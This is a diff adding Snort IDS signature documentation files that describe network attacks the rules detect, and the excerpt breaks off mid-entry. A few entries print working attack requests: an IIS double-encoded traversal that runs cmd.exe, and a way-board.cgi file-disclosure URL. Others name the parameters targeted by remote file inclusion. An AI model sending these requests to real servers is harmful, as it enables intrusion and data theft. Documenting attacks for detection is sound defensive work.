--- snort-2.8.5.2.orig/doc/signatures/2986.txt
+++ snort-2.8.5.2/doc/signatures/2986.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2986
+
+--
+Summary:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings then create an entry in the winreg service.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/407.txt
+++ snort-2.8.5.2/doc/signatures/407.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+407
+
+--
+
+Summary:
+This event is generated when An ICMP Destination Unreachable datagram is detected on the network with an undefined ICMP Code.  
+
+--
+
+Impact:
+ICMP Codes for Destination Unreachable datagrams are defined in RFC 792 and RFC 1812.  The datagram that generated this event is not defined in either of these RFCs.  This could be an indication of a DoS (Denial of Service) attempt against the network. 
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, improperly configured hosts, or an attempted DoS.
+
+--
+
+Attack Scenarios:
+Invalid or undefined ICMP codes should never be seen in normal network conditions.  A remote attacker could be generating these packets in an attempt to cause an DoS.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2546.txt
+++ snort-2.8.5.2/doc/signatures/2546.txt
@@ -0,0 +1,60 @@
+Rule:
+
+-- 
+Sid: 
+2546 
+
+-- 
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Serv-U FTP server, namely the MDTM buffer overflow.
+
+--
+Impact:
+Serious. Denial of service is possible; when combined with shellcode,
+arbitrary code can be remotely executed with SYSTEM privileges.
+
+-- 
+Detailed Information:
+The vulnerability in question is a buffer overflow present in the handling 
+of the MDTM command in the RhinoSoft Serv-U FTP server for Windows. 
+
+The rule searches for an MDTM command which is not terminated within 100 
+characters; no valid command would be longer than this.
+
+--
+Affected Systems:
+All versions of RhinoSoft Serv-U FTP 4.2 and earlier.
+
+--
+Attack Scenarios:
+Several scripts exist to exploit this flaw, and shellcode is publicly available. 
+An attacker could either use one of these scripts, craft their own, or simply 
+manually enter an MDTM command which triggers the overflow after having logged 
+into a vulnerable server.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None Known
+
+-- 
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+-- 
+Contributors:
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com> 
+
+-- Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/560.txt
+++ snort-2.8.5.2/doc/signatures/560.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+560
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+application or service that may violate a corporate security policy.
+
+--
+Impact:
+This may be a violation of corporate policy since some applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation. In
+some instances this event may indicate behavior contrary to best
+security practices.
+
+In this case the event is generated when a VNC server response is
+detected. This traffic indicates that a VNC client has made an attempt
+to connect to a VNC server.
+
+Virtual Network Computing (VNC) allows users to connect machines across
+a network. It allows full control of the connected machine to take
+place, the user can access all resources on the machine and any other
+resources that machine is connected to.
+
+--
+Detailed Information:
+This event may indicate a violation of corporate policy. It may also
+indicate the use of services or applications that may be the antithesis
+of best security practices.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+Violation of corporate security policy can manifest serious risk to
+company assets.
+
+--
+Ease of Attack:
+Not applicable
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure adherence to best security practices and strict adherence to
+corporate policy
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000585.txt
+++ snort-2.8.5.2/doc/signatures/100000585.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000585
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "db_alter.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "db_alter.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1862.txt
+++ snort-2.8.5.2/doc/signatures/1862.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1862
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2467.txt
+++ snort-2.8.5.2/doc/signatures/2467.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2467
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1945.txt
+++ snort-2.8.5.2/doc/signatures/1945.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1945
+
+--
+Summary:
+This event is generated when an attempt is made use Microsoft double encoding of a "/" in a URL request.  This may permit an attacker to navigate to files and directories outside the web root of a vulnerable Internet Information Services (IIS) server. 
+
+--
+Impact:
+Remote access.  This attack can allow an attacker to execute commands a vulnerable IIS server. 
+
+--
+Detailed Information:
+User access should be restricted to an assigned web root directory and subdirectories when interacting with a web server.  Attackers who attempt to perform directory traversals outside the web root should be denied access.  A vulnerability exists in IIS web servers that allows directory traversal outside the web root directory when Micorosoft double encoding of specific characters is used.  This particular attack uses the double encoding of the "/" to escape the web root.  This may permit an attacker to execute commands on the vulnerable server. 
+
+--
+Affected Systems:
+IIS 3.0, 4.0, 5.0 servers
+
+--
+Attack Scenarios:
+An attacker can double encode a directory traversal character permitting execution of commands on the IIS server. 
+
+--
+Ease of Attack:
+Simple. 
+GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link. 
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2708
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms01-044.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2905.txt
+++ snort-2.8.5.2/doc/signatures/2905.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2905
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repschema
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3444.txt
+++ snort-2.8.5.2/doc/signatures/3444.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3444
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/850.txt
+++ snort-2.8.5.2/doc/signatures/850.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+850
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1553.txt
+++ snort-2.8.5.2/doc/signatures/1553.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1553
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000394.txt
+++ snort-2.8.5.2/doc/signatures/100000394.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000394
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "search.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "search.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2362.txt
+++ snort-2.8.5.2/doc/signatures/2362.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+2362
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application YaBB SE.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+YaBB SE contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the location of the
+script packer.php parameter when making a GET or POST  request 
+to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	YaBB SE YaBB SE 0.8
+	YaBB SE YaBB SE 1.4.1
+	YaBB SE YaBB SE 1.5 .0
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and supply their
+own code in the packer.php script.
+
+--
+Ease of Attack:
+Simple. No exploit software required. Exploit code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1115.txt
+++ snort-2.8.5.2/doc/signatures/1115.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1115
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1397.txt
+++ snort-2.8.5.2/doc/signatures/1397.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+1397
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the CGI program way-board.cgi.
+
+--
+Impact:
+Information disclosure. An attacker could have viewed sensitive
+documents and system files.  This could be a precursor to a future attack.
+
+--
+Detailed Information:
+Way-board is a Korean webboard web application.  It contains a
+vulnerability that can allow an attacker to view the contents of any
+file on the system.
+
+--
+Affected Systems:
+	Way Way-Board 2.0
+
+--
+Attack Scenarios:
+Attacker sends a simple URL like the following:
+http://www.victim.com/way-board/way-board.cgi?db=url_to_any_file%00
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2884.txt
+++ snort-2.8.5.2/doc/signatures/2884.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2884
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_update_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1859.txt
+++ snort-2.8.5.2/doc/signatures/1859.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1859
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1364.txt
+++ snort-2.8.5.2/doc/signatures/1364.txt
@@ -0,0 +1,49 @@
+Rule:
+
+--
+Sid:
+1364
+
+--
+Summary:
+Attempted lsof command access via web
+
+--
+Impact:
+Attempt to gain information on system processes on webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the processes being run on a webserver. The lsof command lists information about files that are open by the running processes.  An open file may be a regular file, a directory, a block special file, a character special file, an executing text reference, a library, a stream or a network file (Internet socket, NFS file or Unix domain socket). The attacker could possibly gain information needed for other attacks on the system.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'lsof' in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine.
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1329
+man lsof
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000653.txt
+++ snort-2.8.5.2/doc/signatures/100000653.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000653
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "name" parameter in the "index.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1775.txt
+++ snort-2.8.5.2/doc/signatures/1775.txt
@@ -0,0 +1,58 @@
+Rule:  
+
+--
+Sid: 1775
+
+-- 
+
+Summary: 
+This event is generated when the user "root" logs in to a MySQL database from an external source.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when someone using the name "root" logs in to a MySQL database.
+
+The 'root' user may have access to all databases on the system, with full privileges to add users, delete data, add information, etc.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. The user logs in with the username 'root', full access is then granted to that user for all databases served by the MySQL daemon. The attacker may then continue to gain sensitive information from any database in the system.
+
+-- 
+
+Ease of Attack: 
+Simple. This may be post-attack behavior and can be indicative of the successful exploitation of a vulnerable system.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in as the root user from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000490.txt
+++ snort-2.8.5.2/doc/signatures/100000490.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000490
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ISPConfig" application running on a webserver. 
+Access to the file "trylogin.php" using a remote file being passed as the 
+"go_info[isp][classes_root]" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "go_info[isp][classes_root]" parameter in the 
+"trylogin.php" script used by the "ISPConfig" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ISPConfig
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
